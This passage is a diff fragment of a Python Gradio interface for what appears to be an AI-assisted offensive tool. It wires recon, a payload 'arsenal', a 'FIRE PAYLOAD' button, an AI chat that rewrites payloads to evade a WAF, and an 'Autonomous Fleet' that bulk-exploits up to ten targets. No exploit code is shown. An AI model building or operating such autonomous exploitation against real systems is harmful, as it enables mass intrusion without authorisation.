+ fire_btn = gr.Button("🎯 FIRE PAYLOAD", variant="primary")
344
+ fire_res = gr.Markdown("Awaiting execution...")
345
 
346
  with gr.Column(scale=1):
347
+ gr.Markdown("### πŸ’¬ Centaur Teaming AI")
348
+ chatbot = gr.Chatbot(height=400)
349
+ chat_in = gr.Textbox(label="Instruction", placeholder="WAF blocked the quote. Encode the payload in the editor.")
350
+ chat_btn = gr.Button("Send to AI")
351
+
352
+ # --- TAB 3: AUTO FLEET ---
353
+ with gr.Tab("3. Autonomous Fleet"):
354
+ gr.Markdown("Bulk Exploit up to 10 targets autonomously using Google Search Grounding and the 3-Turn Patching Loop.")
355
+ fleet_targets = gr.CheckboxGroup(label="Select Targets (Max 10)")
356
+ fleet_btn = gr.Button("⚑ DEPLOY FLEET", variant="primary")
357
+ fleet_md = gr.Markdown()
358
+ fleet_html = gr.HTML()
359
 
360
  # --- WIRING ---
361
+
362
+ # 1. Recon
363
  recon_btn.click(
364
+ fn=run_recon_bg, inputs=[csv_in, txt_in, engine_state], outputs=[engine_state, wr_target, fleet_targets, recon_status, db_viewer]
 
 
365
  )
366
 
367
+ # 1b. DB Filtering
 
368
  for comp in [f_ip, f_port, f_vuln]:
369
+ comp.change(fn=lambda st, i, p, v: filter_db(st, i, p, v), inputs=[engine_state, f_ip, f_port, f_vuln], outputs=[db_viewer])
370
+
371
+ # 2. War Room Target Select -> Load Context & Arsenal
372
+ wr_target.change(
373
+ fn=load_target_context, inputs=[wr_target, engine_state], outputs=[wr_context, arsenal_df]
374
+ )
375
+
376
+ # 3. Arsenal Click -> Load to Editor
377
+ arsenal_df.select(
378
+ fn=load_payload_to_editor, inputs=[wr_target, engine_state], outputs=[ep_in, pl_in]
379
+ )
380
+
381
+ # 4. Fire Payload -> Update Arsenal
382
+ fire_btn.click(
383
+ fn=lambda t, e, p, st: asyncio.run(fire_manual(t, e, p, st)), inputs=[wr_target, ep_in, pl_in, engine_state], outputs=[fire_res, engine_state]
384
+ ).then(fn=lambda t, st: pd.DataFrame(st["arsenal"].get(t, [])), inputs=[wr_target, engine_state], outputs=[arsenal_df])
385
+
386
+ # 5. Centaur Chat -> Updates Editor & Arsenal
387
+ chat_btn.click(
388
+ fn=lambda msg, hist, tgt, st, ep, pl, api: asyncio.run(centaur_chat_agent(msg, hist, tgt, st, ep, pl, api)),
389
+ inputs=[chat_in, chatbot, wr_target, engine_state, ep_in, pl_in, api_key_global],
390
+ outputs=[chatbot, ep_in, pl_in, engine_state]
391
+ ).then(lambda t, st: pd.DataFrame(st["arsenal"].get(t, [])), inputs=[wr_target, engine_state], outputs=[arsenal_df]).then(lambda: "", outputs=[chat_in])
392
+
393
+ # 6. Auto Fleet
394
+ fleet_btn.click(
395
+ fn=lambda tgts, api, st: asyncio.run(run_autonomous_fleet(tgts, api, st)),
396
+ inputs=[fleet_targets, api_key_global, engine_state],
397
+ outputs=[fleet_md, fleet_html]
398
  )
399
 
400
  if __name__ == "__main__":